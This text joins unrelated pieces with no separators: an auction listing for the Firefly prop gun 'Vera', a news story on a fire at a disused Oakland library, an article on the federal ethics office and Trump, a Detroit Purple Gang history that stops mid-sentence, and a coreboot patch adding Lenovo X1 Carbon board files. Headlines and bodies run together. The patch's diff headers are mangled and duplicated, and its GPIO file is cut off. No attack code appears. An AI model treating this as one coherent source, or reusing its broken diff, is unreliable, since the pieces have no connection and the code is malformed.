(Mutant Enemy, 2002-2003) The Callahan Fullbore Autolock called "Vera" used by Adam Baldwin as Jayne Cobb in Joss Whedon's Firefly. Vera made three appearances during the short run of the show. Firstly and most famously in the episode "Our Mrs. Reynolds", then in "War Stories" and finally in "Heart Of Gold".
Vera was originally made by the Gibbons Armory for the Robert DeNiro/Eddie Murphy movie "Showtime" and is based on the Saiga 12 Taktika semi automatic shotgun. Eight guns were made for Showtime, only two of which had folding barrels, the others were fixed in the folded position. Vera is based on one of the folding guns.
The live firing Saiga receiver used in Showtime is illegal to own privately due to the short barrel, and has been replaced by the Gibbons Armory with a solid resin replica. This safe configuration was used to avoid the need for an on-set armorer. Although the barrel is still hinged it can no longer fold up; this is due to the custom additions specially made to the prop for Firefly. A series of special brass-cased dummy rounds were made and a machined insert constructed to hold them in the extended shoulder stock. A new sight-rail was added to carry the two new targeting scopes, neither of which is functional. The magazine and magazine well were also newly made to accommodate Vera's brass cased ammunition. Finally, a machined aluminum muzzle brake was made for the end of the barrel.
Vera is solidly constructed from custom machined alloy and steel parts. The magazine alone has over 40 components, all custom made by hand. The alloy parts are anodized in transparent lilac, blue, black and gold and she has phenolic-impregnated laminated wood furniture.
The original Showtime magazine and magazine well are included in the auction, as well as a fitted flight-case and the Firefly propmaster's original script from "Our Mrs. Reynolds". The script was used to break down the script to see what prop requirements were for the episode. Interestingly, on the back cover page there's a rough sketch of Vera's elaborate, machined muzzle brake. Vera measures 36 inches long by 19 inches tall by 3.5 inches wide, and she weighs 18 lbs.
Vera is featured on pages 110 and 111 of the Firefly Official Companion Book Volume 2 (ISBN 9781845763725). Vera was acquired directly from the Gibbons Armory and has remained in Karl Derrick's Firefly Archive Collection. Please note this item is located in the United Kingdom and may require special shipping.
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Wire TransferA fire at an abandoned library in Oakland’s San Antonio neighborhood recently damaged the already dilapidated structure, but the blaze also shut out a community garden and library project established outside the building in 2012.
According to the East Bay Times, the fire was set Tuesday by squatters and heavily damaged the basement and first floor. It took nearly an hour for firefighters to get the blaze under control, with one firefighter breaking an ankle at the scene.
Constructed between 1916 and 1918 with a $140,000 grant from industrialist Andrew Carnegie, the building was previously one of Oakland’s first branch libraries. The others — the Golden Gate Branch, Melrose Branch and Temescal Branch — still remain in operation.
The Miller Avenue library was one of four branches built between 1916 and 1918.
Located at 1449 Miller Avenue, the building hasn’t been a library since the 1970s. It has operated as a school and a community center since then, but has been closed altogether since the 1990s and required extensive repairs even before the fire.
Seeking to reclaim the space for community purposes, a group of activists entered the building in 2012 to set up a community library, dubbed the Biblioteca Popular Victor Martinez after the Mexican-American author. Police kicked them out within days, so they created a small library and community garden outside, growing greens, fava beans, peaches, nectarines, and avocados.
The community garden and library now behind a locked gate.
The project has continued in some form since then with gardeners periodically tending plants and neighbors who harvest some of the bounty. They’ve been allowed to continue using the outside space mostly unimpeded, though squatters unrelated to the library and garden project have periodically lived in the building.
Since the fire, however, the city installed new fencing and locked the gate, shutting the neighbors out.
“By closing this gate, they’ve stopped the only good thing happening here,” said Omar Silva, an organizer who has been involved in the project since the original 2012 occupation. He said fencing will keep many of the neighborhood residents out, but isn’t as likely to keep squatters from returning.
Mural on the Miller Avenue library grounds.
For now, the garden’s rain collection buckets are full, but the library’s shelves, inside a small green shack with a red roof, have been left bare. Messages from local students dating back to the garden’s first days are painted around the perimeter of the garden.
“It’s a cool place,” Silva said. I hope it outlives this.”Ethics Watchdog Has Big Impact On Federal Workers, But Not On Trump
Enlarge this image toggle caption Don Emmert/AFP/Getty Images Don Emmert/AFP/Getty Images
On Monday, the Senate will vote on Wilbur Ross' nomination as the U.S. commerce secretary. As required by the Ethics in Government Act, the billionaire businessman has reached an agreement with the Office of Government Ethics to sell off most of his holdings.
That divestiture will once again underscore the impact of the tiny agency that actually has no power to enforce federal ethics laws. It simply provides guidance on how to comply with laws, and helps work out solutions, as it has with Ross.
But while OGE has been shaping the holdings of President Trump's appointees, it has so far had no real impact on Trump himself.
Trump correctly notes that federal conflict-of-interest laws technically do not apply to the president and vice president, although previous holders of those positions have voluntarily observed the rules.
Back in November, OGE Director Walter Shaub used Trump's favorite social media platform — Twitter — to tweet out some advice. In an effort to coax Trump to divest his business empire, his office offered a Trump-style tweetstorm, saying things like: "Brilliant! Divestiture is good for you, very good for America!" — even though Trump had never promised such a thing.
Government reform advocate Meredith McGehee said of the 75-employee agency: "I would describe it at this point as the mouse that roared."
That was its loudest public roar since 1978, when it was created to help keep Washington calm. Congress didn't want another national trauma like the Watergate scandal that had brought down President Richard Nixon in 1974.
In the aftermath of that ordeal, Congress created new rules for ethical behavior in government, and set up OGE to help facilitate compliance.
"Government officials didn't disclose their personal financial holdings and wealth until the ethics laws were created," said Washington ethics lawyer Jan Baran. Once OGE set up shop, it taught federal officials how to comply with the new laws. "These forms were being filled out and submitted and made public for the first time," he added.
In the mid-1980s, the disclosure requirement led to OGE's biggest controversy up until now. That's when President Ronald Reagan's attorney general Ed Meese failed to disclose a financial relationship with lawyers for a Pentagon contractor. The scandal led to Meese's resignation.
Since then, OGE's work has gone on quietly, but with a huge impact on the federal bureaucracy.
While it gets attention for working with 22 Cabinet-level nominees, its biggest job involves overseeing the collection of annual financial disclosures from 370,000 midlevel federal employees. Disclosure is mandatory for "anyone who touches money," mainly contracting officers, procurement officials and those who oversee federal spending.
OGE's goal is to ensure that federal workers don't have financial interests that could come before the public interest.
And that's the rub with President Trump.
While Trump has stepped back from management of his business empire,
he continues to profit from it. He correctly notes the conflict-of-interest law
doesn't actually apply to the Oval Office occupant.
But previous presidents complied voluntarily.
Shaub, in a rare speech last month, suggested that Trump is upsetting a delicate balance in Washington.
"Should a president hold himself to a lower standard than his own appointees?"
Trump's Commerce Department appointee, Ross, decided to make serving his country enough of a priority that it was worth the price: resigning his positions with 37 companies and selling off his holdings in about 80 companies.DETROIT - In the 1910s and 1920s, organized crime ruled many large cities in the U.S. -- including Detroit.
Three years before national Prohibition, Michigan adopted the Damon Act, prohibiting the sale of liquor, which took effect in 1917.
By the time the rest of the country entered Prohibition in 1920, Detroit already had been taken over by bootleggers and hijackers.
Related: Prohibition ended 85 years ago today: Here's what it looked like in Detroit
Organized Crime takes over Detroit
The Purple Gang was Detroit's most notorious mob. It operated in the 1920s and 1930s, led by members of the Bernstein family. The gang was made up of mostly Jewish members.
The Canadian border provided a gateway to illegal distribution of alcohol products from Detroit to larger cities like Chicago and New York.
The Purple Gang, also known as the Sugar House Gang, has been labeled the bloodiest gang of its era, with estimates reaching more than 500 rivals killed during bootleg wars.
The Purple Gang controlled Detroit's underworld, including gambling -- especially on horse races and other sporting events -- liquor sales and drug trade. These operations kept the gang rich, netting millions of dollars.
In 1929, making and distributing illegal alcohol was Detroit's No. 2 industry, behind automobiles. By the mid-20s, the city was home to more than 25,000 illegal speakeasies -- most of them controlled by the Purple Gang.
The industry generated more than $300 million per year, which translates to more than $4 billion in today's economy.
When bootleggers in Detroit smuggled booze into the city, they relied on a frozen Lake St. Clair.
Stopping incoming vehicles carrying booze at gunpoint, killing the drivers, and stealing their loads became a signature sign of the Purples.
Related: 6 Metro Detroit bars that used to be speakeasies during Prohibition era
Friends of the Purple Gang
The Purple Gang had many allies with other mob operations across the country.
Abe Bernstein, one of the gang's founders, worked closely with Meyer Lansky and Joe Adonis. Lansky, known as the "Mob's Accountant," helped develop the National Crime Syndicate in the United States with Lucky Luciano.
The Purple Gang also had a business partnership with Al Capone. For several years, they supplied the Capone organization with Canadian whisky.
Capone did not want a turf war with the Purple Gang, given their violent reputation, so a partnership was put in place to prevent a massacre.
Cleaners and Dyers War
Since the gang profited from the Detroit laundry industry unions, they had a vested interested in keeping union members in line.
Between 1925 and 1928, the labor union for laundry services was gang-controlled. Companies that declined to join the union were harassed and bombed by the Purples.
The Cleaners and Dyers War ended in 1928, when nine members of the gang were charged with extortion. They all were acquitted of all charges.
More: How rum-running became one of Detroit's biggest industries during Prohibition era
The Purple Gang vs. the FBI
The Purple Gang had almost complete immunity from police, due to fear of retaliation. That didn't stop FBI director J. Edgar Hoover from trying.
Files obtained from the FBI show that between 1933 and 1945, Hoover continually investigated tips on the whereabouts of the Purple Gang.
The files include written letters to the bureau offering evidence and other information to the illegal activities of the Purples, including murder, kidnappings and bootlegging.
More: J. Edgar Hoover's FBI vs. Detroit's Purple Gang: Read the declassified files
Detroit Mob Wars
Tensions began to rise in the late 1920s between the Purple Gang and rival Italian and Irish mobs. The Purple Gang started a turf war with the Licavoli Squad.
In March of 1927, three men were killed in an apartment owned by the Purple Gang. The attack was believed to be retaliation for a "double cross."
Although the police had three suspects, nobody was ever charged with the murders.
The Collingwood Manor Massacre
In 1931, three members of the Purple Gang were murdered by their own after allegedly betraying gang members.
After being invited to a "peace conference" at an apartment on Collingwood Avenue in Detroit, Herman "Hymie" Paul, "Joe Sutker," and Joseph Lebowitz were gunned down at point-blank range.
As the story goes, Ray Bernstein, one of the Purples' founders, devised a plan to kill the three men for failing to pay back past-due debts. He would use Sol Levine, a friend of both groups, as an accomplice.
After buying an apartment at the Collingwood
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+++ b/ diff --git a/src/mainboard/lenovo/x1_carbon_gen1/dsdt.asl b/src/mainboard/lenovo/x1_carbon_gen1/dsdt.aslnew file mode 100644index 00000000000..8ad7ace8e11--- /dev/null+++ b/ src/mainboard/lenovo/x1_carbon_gen1/dsdt.asl @@ -0,0 +1,56 @@ +/* + * This file is part of the coreboot project. + * + * Copyright (C) 2007-2009 coresystems GmbH + * Copyright (C) 2011 The ChromiumOS Authors. All rights reserved. + * Copyright (C) 2014 Vladimir Serbinenko + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; version 2 of the License. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + */ + +#define THINKPAD_EC_GPE 17 +#define BRIGHTNESS_UP \_SB.PCI0.GFX0.INCB +#define BRIGHTNESS_DOWN \_SB.PCI0.GFX0.DECB +#define ACPI_VIDEO_DEVICE \_SB.PCI0.GFX0 +#define EC_LENOVO_H8_ME_WORKAROUND 1 + +DefinitionBlock( + "dsdt.aml", + "DSDT", + 0x03, // DSDT revision: ACPI v3.0 + "COREv4", // OEM id + "COREBOOT", // OEM table id + 0x20141018 // OEM revision +) +{ + #include <southbridge/intel/bd82x6x/acpi/platform.asl> + + // Some generic macros + #include "acpi/platform.asl" + + // global NVS and variables + #include <southbridge/intel/bd82x6x/acpi/globalnvs.asl> + + #include <cpu/intel/model_206ax/acpi/cpu.asl> + + Scope (\_SB) { + Device (PCI0) + { + #include <northbridge/intel/sandybridge/acpi/sandybridge.asl> + #include <southbridge/intel/bd82x6x/acpi/pch.asl> + #include <southbridge/intel/bd82x6x/acpi/default_irq_route.asl> + + #include <drivers/intel/gma/acpi/default_brightness_levels.asl> + } + } + + /* Chipset specific sleep states */ + #include <southbridge/intel/bd82x6x/acpi/sleepstates.asl> +}
new file mode 100644
index 00000000000..11ec8407383
--- /dev/null
+++ b/ diff --git a/src/mainboard/lenovo/x1_carbon_gen1/gma-mainboard.ads b/src/mainboard/lenovo/x1_carbon_gen1/gma-mainboard.adsnew file mode 100644index 00000000000..11ec8407383--- /dev/null+++ b/ src/mainboard/lenovo/x1_carbon_gen1/gma-mainboard.ads @@ -0,0 +1,19 @@ +with HW.GFX.GMA; +with HW.GFX.GMA.Display_Probing; + +use HW.GFX.GMA; +use HW.GFX.GMA.Display_Probing; + +private package GMA.Mainboard is + + ports : constant Port_List := + (DP1, + DP2, + DP3, + HDMI1, + HDMI2, + HDMI3, + Internal, + others => Disabled); + +end GMA.Mainboard;
new file mode 100644
index 00000000000..9a33841d32d
--- /dev/null
+++ b/ diff --git a/src/mainboard/lenovo/x1_carbon_gen1/gpio.c b/src/mainboard/lenovo/x1_carbon_gen1/gpio.cnew file mode 100644index 00000000000..9a33841d32d--- /dev/null+++ b/ src/mainboard/lenovo/x1_carbon_gen1/gpio.c @@ -0,0 +1,449 @@ +/* + * This file is part of the coreboot project. + * + * Copyright (C) 2011 The Chromium OS Authors. All rights reserved. + * Copyright (C) 2014 Vladimir Serbinenko + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; version 2 of the License. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + */ + +#include <southbridge/intel/common/gpio.h> +const struct pch_gpio_set1 pch_gpio_set1_mode = { +.gpio0 = GPIO_MODE_GPIO, +.gpio1 = GPIO_MODE_GPIO, +.gpio2 = GPIO_MODE_GPIO, +.gpio3 = GPIO_MODE_GPIO, +.gpio4 = GPIO_MODE_GPIO, +.gpio5 = GPIO_MODE_GPIO, +.gpio6 = GPIO_MODE_GPIO, +.gpio7 = GPIO_MODE_GPIO, +.gpio8 = GPIO_MODE_GPIO, +.gpio9 = GPIO_MODE_NATIVE, +.gpio10 = GPIO_MODE_GPIO, +.gpio11 = GPIO_MODE_NATIVE, +.gpio12 = GPIO_MODE_GPIO, +.gpio13 = GPIO_MODE_GPIO, +.gpio14 = GPIO_MODE_NATIVE, +.gpio15 = GPIO_MODE_GPIO, +.gpio16 = GPIO_MODE_NATIVE, +.gpio17 = GPIO_MODE_GPIO, +.gpio18 = GPIO_MODE_NATIVE, +.gpio19 = GPIO_MODE_NATIVE, +.gpio20 = GPIO_MODE_NATIVE, +.gpio21 = GPIO_MODE_GPIO, +.gpio22 = GPIO_MODE_GPIO, +.gpio23 = GPIO_MODE_NATIVE, +.gpio24 = GPIO_MODE_GPIO, +.gpio25 = GPIO_MODE_GPIO, +.gpio26 = GPIO_MODE_GPIO, +.gpio27 = GPIO_MODE_GPIO, +.gpio28 = GPIO_MODE_GPIO, +.gpio29 = GPIO_MODE_GPIO, +.gpio30 = GPIO_MODE_NATIVE, +.gpio31 = GPIO_MODE_NATIVE, +}; + +const struct pch_gpio_set1 pch_gpio_set1_direction = { +.gpio0 = GPIO_DIR_INPUT, +.gpio1 = GPIO_DIR_INPUT, +.gpio2 = GPIO_DIR_INPUT, +.gpio3 = GPIO_DIR_INPUT, +.gpio4 = GPIO_DIR_INPUT, +.gpio5 = GPIO_DIR_INPUT, +.gpio6 = GPIO_DIR_INPUT, +.gpio7 = GPIO_DIR_INPUT, +.gpio8 = GPIO_DIR_OUTPUT, +.gpio9 = GPIO_DIR_INPUT, +.gpio10 = GPIO_DIR_OUTPUT, +.gpio11 = GPIO_DIR_INPUT, +.gpio12 = GPIO_DIR_OUTPUT, +.gpio13 = GPIO_DIR_INPUT, +.gpio14 = GPIO_DIR_INPUT, +.gpio15 = GPIO_DIR_OUTPUT, +.gpio16 = GPIO_DIR_INPUT, +.gpio17 = GPIO_DIR_INPUT, +.gpio18 = GPIO_DIR_INPUT, +.gpio19 = GPIO_DIR_INPUT, +.gpio20 = GPIO_DIR_INPUT, +.gpio21 = GPIO_DIR_INPUT, +.gpio22 = GPIO_DIR_OUTPUT, +.gpio23 = GPIO_DIR_INPUT, +.gpio24 = GPIO_DIR_OUTPUT, +.gpio25 = GPIO_DIR_INPUT, +.gpio26 = GPIO_DIR_INPUT, +.gpio27 = GPIO_DIR_INPUT, +.gpio28 = GPIO_DIR_OUTPUT, +.gpio29 = GPIO_DIR_OUTPUT, +.gpio30 = GPIO_DIR_OUTPUT, +.gpio31 = GPIO_DIR_INPUT, +}; + +const struct pch_gpio_set1 pch_gpio_set1_level = { +.gpio0 = GPIO_LEVEL_HIGH, +.gpio1 = GPIO_LEVEL_HIGH, +.gpio2 = GPIO_LEVEL_LOW, +.gpio3 = GPIO_LEVEL_HIGH, +.gpio4 = GPIO_LEVEL_HIGH, +.gpio5 = GPIO_LEVEL_HIGH, +.gpio6 = GPIO_LEVEL_HIGH, +.gpio7 = GPIO_LEVEL_HIGH, +.gpio8 = GPIO_LEVEL_LOW, +.gpio9 = GPIO_LEVEL_HIGH, +.gpio10 = GPIO_LEVEL_HIGH, +.gpio11 = GPIO_LEVEL_HIGH, +.gpio12 = GPIO_LEVEL_LOW, +.gpio13 = GPIO_LEVEL_HIGH, +.gpio14 = GPIO_LEVEL_HIGH, +.gpio15 = GPIO_LEVEL_LOW, +.gpio16 = GPIO_LEVEL_HIGH, +.gpio17 = GPIO_LEVEL_HIGH, +.gpio18 = GPIO_LEVEL_HIGH, +.gpio19 = GPIO_LEVEL_HIGH, +.gpio20 = GPIO_LEVEL_HIGH, +.gpio21 = GPIO_LEVEL_HIGH, +.gpio22 = GPIO_LEVEL_HIGH, +.gpio23 = GPIO_LEVEL_HIGH, +.gpio24 = GPIO_LEVEL_LOW, +.gpio25 = GPIO_LEVEL_LOW, +.gpio26 = GPIO_LEVEL_LOW, +.gpio27 = GPIO_LEVEL_LOW, +.gpio28 = GPIO_LEVEL_LOW, +.gpio29 = GPIO_LEVEL_HIGH, +.gpio30 = GPIO_LEVEL_HIGH, +.gpio31 = GPIO_LEVEL_HIGH, +}; + +const struct pch_gpio_set1 pch_gpio_set1_reset = { +.gpio0 = GPIO_RESET_PWROK, +.gpio1 = GPIO_RESET_PWROK, +.gpio2 = GPIO_RESET_PWROK, +.gpio3 = GPIO_RESET_PWROK, +.gpio4 = GPIO_RESET_PWROK, +.gpio5 = GPIO_RESET_PWROK, +.gpio6 = GPIO_RESET_PWROK, +.gpio7 = GPIO_RESET_PWROK, +.gpio8 = GPIO_RESET_PWROK, +.gpio9 = GPIO_RESET_PWROK, +.gpio10 = GPIO_RESET_PWROK, +.gpio11 = GPIO_RESET_PWROK, +.gpio12 = GPIO_RESET_PWROK, +.gpio13 = GPIO_RESET_PWROK, +.gpio14 = GPIO_RESET_PWROK, +.gpio15 = GPIO_RESET_PWROK, +.gpio16 = GPIO_RESET_PWROK, +.gpio17 = GPIO_RESET_PWROK, +.gpio18 = GPIO_RESET_PWROK, +.gpio19 = GPIO_RESET_PWROK, +.gpio20 = GPIO_RESET_PWROK, +.gpio21 = GPIO_RESET_PWROK, +.gpio22 = GPIO_RESET_PWROK, +.gpio23 = GPIO_RESET_PWROK, +.gpio24 = GPIO_RESET_PWROK, +.gpio25 = GPIO_RESET_PWROK, +.gpio26 = GPIO_RESET_PWROK, +.gpio27 = GPIO_RESET_PWROK, +.gpio28 = GPIO_RESET_PWROK, +.gpio29 = GPIO_RESET_PWROK, +.gpio30 = GPIO_RESET_PWROK, +.gpio31 = GPIO_RESET_PWROK, +}; + +const struct pch_gpio_set1 pch_gpio_set1_invert = { +.gpio0 = GPIO_NO_INVERT, +.gpio1 = GPIO_INVERT, +.gpio2 = GPIO_NO_INVERT, +.gpio3 = GPIO_NO_INVERT, +.gpio4 = GPIO_NO_INVERT, +.gpio5 = GPIO_NO_INVERT, +.gpio6 = GPIO_INVERT, +.gpio7 = GPIO_NO_INVERT, +.gpio8 = GPIO_NO_INVERT, +.gpio9 = GPIO_NO_INVERT, +.gpio10 = GPIO_NO_INVERT, +.gpio11 = GPIO_NO_INVERT, +.gpio12 = GPIO_NO_INVERT, +.gpio13 = GPIO_INVERT, +.gpio14 = GPIO_NO_INVERT, +.gpio15 = GPIO_NO_INVERT, +.gpio16 = GPIO_NO_INVERT, +.gpio17 = GPIO_NO_INVERT, +.gpio18 = GPIO_NO_INVERT, +.gpio19 = GPIO_NO_INVERT, +.gpio20 = GPIO_NO_INVERT, +.gpio21 = GPIO_NO_INVERT, +.gpio22 = GPIO_NO_INVERT, +.gpio23 = GPIO_NO_INVERT, +.gpio24 = GPIO_NO_INVERT, +.gpio25 = GPIO_NO_INVERT, +.gpio26 = GPIO_NO_INVERT, +.gpio27 = GPIO_NO_INVERT, +.gpio28 = GPIO_NO_INVERT, +.gpio29 = GPIO_NO_INVERT, +.gpio30 = GPIO_NO_INVERT, +.gpio31 = GPIO_NO_INVERT, +}; + +const struct pch_gpio_set1 pch_gpio_set1_blink = { +.gpio0 = GPIO_NO_BLINK, +.gpio1 = GPIO_NO_BLINK, +.gpio2 = GPIO_NO_BLINK, +.gpio3 = GPIO_NO_BLINK, +.gpio4 = GPIO_NO_BLINK, +.gpio5 = GPIO_NO_BLINK, +.gpio6 = GPIO_NO_BLINK, +.gpio7 = GPIO_NO_BLINK, +.gpio8 = GPIO_NO_BLINK, +.gpio9 = GPIO_NO_BLINK, +.gpio10 = GPIO_NO_BLINK, +.gpio11 = GPIO_NO_BLINK, +.gpio12 = GPIO_NO_BLINK, +.gpio13 = GPIO_NO_BLINK, +.gpio14 = GPIO_NO_BLINK, +.gpio15 = GPIO_NO_BLINK, +.gpio16 = GPIO_NO_BLINK, +.gpio17 = GPIO_NO_BLINK, +.gpio18 = GPIO_NO_BLINK, +.gpio19 = GPIO_NO_BLINK, +.gpio20 = GPIO_NO_BLINK, +.gpio21 = GPIO_NO_BLINK, +.gpio22 = GPIO_NO_BLINK, +.gpio23 = GPIO_NO_BLINK, +.gpio24 = GPIO_NO_BLINK, +.gpio25 = GPIO_NO_BLINK, +.gpio26 = GPIO_NO_BLINK, +.gpio27 = GPIO_NO_BLINK, +.gpio28 = GPIO_NO_BLINK, +.gpio29 = GPIO_NO_BLINK, +.gpio30 = GPIO_NO_BLINK, +.gpio31 = GPIO_NO_BLINK, +}; + +const struct pch_gpio_set2 pch_gpio_set2_mode = { +.gpio32 = GPIO_MODE_NATIVE, +.gpio33 = GPIO_MODE_GPIO, +.gpio34 = GPIO_MODE_GPIO, +.gpio35 = GPIO_MODE_GPIO, +.gpio36 = GPIO_MODE_GPIO, +.gpio37 = GPIO_MODE_GPIO, +.gpio38 = GPIO_MODE_GPIO, +.gpio39 = GPIO_MODE_GPIO, +.gpio40 = GPIO_MODE_NATIVE, +.gpio41 = GPIO_MODE_GPIO, +.gpio42 = GPIO_MODE_NATIVE, +.gpio43 = GPIO_MODE_GPIO, +.gpio44 = GPIO_MODE_GPIO, +.gpio45 = GPIO_MODE_GPIO, +.gpio46 = GPIO_MODE_NATIVE, +.gpio47 = GPIO_MODE_NATIVE, +.gpio48 = GPIO_MODE_GPIO, +.gpio49 = GPIO_MODE_GPIO, +.gpio50 = GPIO_MODE_GPIO, +.gpio51 = GPIO_MODE_GPIO, +.gpio52 = GPIO_MODE_GPIO, +.gpio53 = GPIO_MODE_GPIO, +.gpio54 = GPIO_MODE_GPIO, +.gpio55 = GPIO_MODE_GPIO, +.gpio56 = GPIO_MODE_GPIO, +.gpio57 = GPIO_MODE_GPIO, +.gpio58 = GPIO_MODE_NATIVE, +.gpio59 = GPIO_MODE_GPIO, +.gpio60 = GPIO_MODE_NATIVE, +.gpio61 = GPIO_MODE_NATIVE, +.gpio62 = GPIO_MODE_NATIVE, +.gpio63 = GPIO_MODE_NATIVE, +}; + +const struct pch_gpio_set2 pch_gpio_set2_direction = { +.gpio32 = GPIO_DIR_INPUT, +.gpio33 = GPIO_DIR_OUTPUT, +.gpio34 = GPIO_DIR_INPUT, +.gpio35 = GPIO_DIR_INPUT, +.gpio36 = GPIO_DIR_INPUT, +.gpio37 = GPIO_DIR_INPUT, +.gpio38 = GPIO_DIR_INPUT, +.gpio39 = GPIO_DIR_INPUT, +.gpio40 = GPIO_DIR_INPUT, +.gpio41 = GPIO_DIR_INPUT, +.gpio42 = GPIO_DIR_INPUT, +.gpio43 = GPIO_DIR_OUTPUT, +.gpio44 = GPIO_DIR_INPUT, +.gpio45 = GPIO_DIR_INPUT, +.gpio46 = GPIO_DIR_INPUT, +.gpio47 = GPIO_DIR_INPUT, +.gpio48 = GPIO_DIR_INPUT, +.gpio49 = GPIO_DIR_INPUT, +.gpio50 = GPIO_DIR_INPUT, +.gpio51 = GPIO_DIR_OUTPUT, +.gpio52 = GPIO_DIR_OUTPUT, +.gpio53 = GPIO_DIR_OUTPUT, +.gpio54 = GPIO_DIR_INPUT, +.gpio55 = GPIO_DIR_OUTPUT, +.gpio56 = GPIO_DIR_INPUT, +.gpio57 = GPIO_DIR_INPUT, +.gpio58 = GPIO_DIR_INPUT, +.gpio59 = GPIO_DIR_INPUT, +.gpio60 = GPIO_DIR_INPUT, +.gpio61 = GPIO_DIR_OUTPUT, +.gpio62 = GPIO_DIR_OUTPUT, +.gpio63 = GPIO_DIR_OUTPUT, +}; + +const struct pch_gpio_set2 pch_gpio_set2_level = { +.gpio32 = GPIO_LEVEL_HIGH, +.gpio33 = GPIO_LEVEL_HIGH, +.gpio34 = GPIO_LEVEL_LOW, +.gpio35 = GPIO_LEVEL_LOW, +.gpio36 = GPIO_LEVEL_LOW, +.gpio37 = GPIO_LEVEL_LOW, +.gpio38 = GPIO_LEVEL_LOW, +.gpio39 = GPIO_LEVEL_LOW, +.gpio40 = GPIO_LEVEL_HIGH, +.gpio41 = GPIO_LEVEL_HIGH, +.gpio42 = GPIO_LEVEL_HIGH, +.gpio43 = GPIO_LEVEL_HIGH, +.gpio44 = GPIO_LEVEL_HIGH, +.gpio45 = GPIO_LEVEL_LOW, +.gpio46 = GPIO_LEVEL_HIGH, +.gpio47 = GPIO_LEVEL_HIGH, +.gpio48 = GPIO_LEVEL_HIGH, +.gpio49 = GPIO_LEVEL_HIGH, +.gpio50 = GPIO_LEVEL_HIGH, +.gpio51 = GPIO_LEVEL_HIGH, +.gpio52 = GPIO_LEVEL_HIGH, +.gpio53 = GPIO_LEVEL_HIGH, +.gpio54 = GPIO_LEVEL_HIGH, +.gpio55 = GPIO_LEVEL_HIGH, +.gpio56 = GPIO_LEVEL_LOW, +.gpio57 = GPIO_LEVEL_HIGH, +.gpio58 = GPIO_LEVEL_HIGH, +.gpio59 = GPIO_LEVEL_HIGH, +.gpio60 = GPIO_LEVEL_HIGH, +.gpio61 = GPIO_LEVEL_HIGH, +.gpio62 = GPIO_LEVEL_HIGH, +.gpio63 = GPIO_LEVEL_HIGH, +}; + +const struct pch_gpio_set2 pch_gpio_set2_reset = { +.gpio32 = GPIO_RESET_PWROK, +.gpio33 = GPIO_RESET_PWROK, +.gpio34 = GPIO_RESET_PWROK, +.gpio35 = GPIO_RESET_PWROK, +.gpio36 = GPIO_RESET_PWROK, +.gpio37 = GPIO_RESET_PWROK, +.gpio38 = GPIO_RESET_PWROK, +.gpio39 = GPIO_RESET_PWROK, +.gpio40 = GPIO_RESET_PWROK, +.gpio41 = GPIO_RESET_PWROK, +.gpio42 = GPIO_RESET_PWROK, +.gpio43 = GPIO_RESET_PWROK, +.gpio44 = GPIO_RESET_PWROK, +.gpio45 = GPIO_RESET_PWROK, +.gpio46 = GPIO_RESET_PWROK, +.gpio47 = GPIO_RESET_PWROK, +.gpio48 = GPIO_RESET_PWROK, +.gpio49 = GPIO_RESET_PWROK, +.gpio50 = GPIO_RESET_PWROK, +.gpio51 = GPIO_RESET_PWROK, +.gpio52 = GPIO_RESET_PWROK, +.gpio53 = GPIO_RESET_PWROK, +.gpio54 = GPIO_RESET_PWROK, +.gpio55 = GPIO_RESET_PWROK, +.gpio56 = GPIO_RESET_PWROK, +.gpio57 = GPIO_RESET_PWROK, +.gpio58 = GPIO_RESET_PWROK, +.gpio59 = GPIO_RESET_PWROK, +.gpio60 = GPIO_RESET_PWROK, +.gpio61 = GPIO_RESET_PWROK, +.gpio62 = GPIO_RESET_PWROK, +.gpio63 = GPIO_RESET_PWROK, +}; + +const struct pch_gpio_set3 pch_gpio_set3_mode = { +.gpio64 = GPIO_MODE_GPIO, +.gpio65 = GPIO_MODE_GPIO, +.gpio66 = GPIO_MODE_GPIO, +.gpio67 = GPIO_MODE_GPIO, +.gpio68 = GPIO_MODE_GPIO, +.gpio69 = GPIO_MODE_GPIO, +.gpio70 = GPIO_MODE_GPIO, +.gpio71 = GPIO_MODE_GPIO, +.gpio72 = GPIO_MODE_NATIVE, +.gpio73 = GPIO_MODE_NATIVE, +.gpio74 = GPIO_MODE_NATIVE, +.gpio75 = GPIO_MODE_NATIVE, +}; + +const struct pch_gpio_set3 pch_gpio_set3_direction = { +.gpio64 = GPIO_DIR_INPUT, +.gpio65 = GPIO_DIR_INPUT, +.gpio66 = GPIO_DIR_INPUT, +.gpio67 = GPIO_DIR_INPUT, +.gpio68 = GPIO_DIR_INPUT, +.gpio69 = GPIO_DIR_INPUT, +.gpio70 = GPIO_DIR_INPUT, +.gpio71 = GPIO_DIR_INPUT, +.gpio72 = GPIO_DIR_INPUT, +.gpio73 = GPIO_DIR_INPUT, +.gpio74 = GPIO_DIR_INPUT, +.gpio75 = GPIO_DIR_INPUT, +}; + +const struct pch_gpio_set3 pch_gpio_set3_level = { +.gpio64 = GPIO_LEVEL_LOW, +.gpio65 = GPIO_LEVEL_LOW, +.gpio66 = GPIO_LEVEL_LOW, +.gpio67 = GPIO_LEVEL_LOW, +.gpio68 = GPIO_LEVEL_LOW, +.gpio69 = GPIO_LEVEL_LOW, +.gpio70 = GPIO_LEVEL_HIGH, +.gpio71 = GPIO_LEVEL_HIGH, +.gpio72 = GPIO_LEVEL_HIGH, +.gpio73 = GPIO_LEVEL_HIGH, +.gpio74 = GPIO_LEVEL_HIGH, +.gpio75 = GPIO_LEVEL_HIGH, +}; + +const struct pch_gpio_set3 pch_gpio_set3_reset = { +.gpio64 = GPIO_RESET_PWROK, +.gpio65 = GPIO_RESET_PWROK, +.gpio66 = GPIO_RESET_PWROK, +.gpio67 = GPIO_RESET_PWROK, +.gpio68 = GPIO_RESET_PWROK, +.gpio69 = GPIO_RESET_PWROK, +.gpio70 = GPIO_RESET_PWROK, +.gpio71 = GPIO_RESET_PWROK, +.gpio72 = GPIO_RESET_PWROK, +.gpio73 = GPIO_RESET_PWROK, +.gpio74 = GPIO_RESET_PWROK, +.gpio75 = GPIO_RESET_PWROK, +}; + +const struct 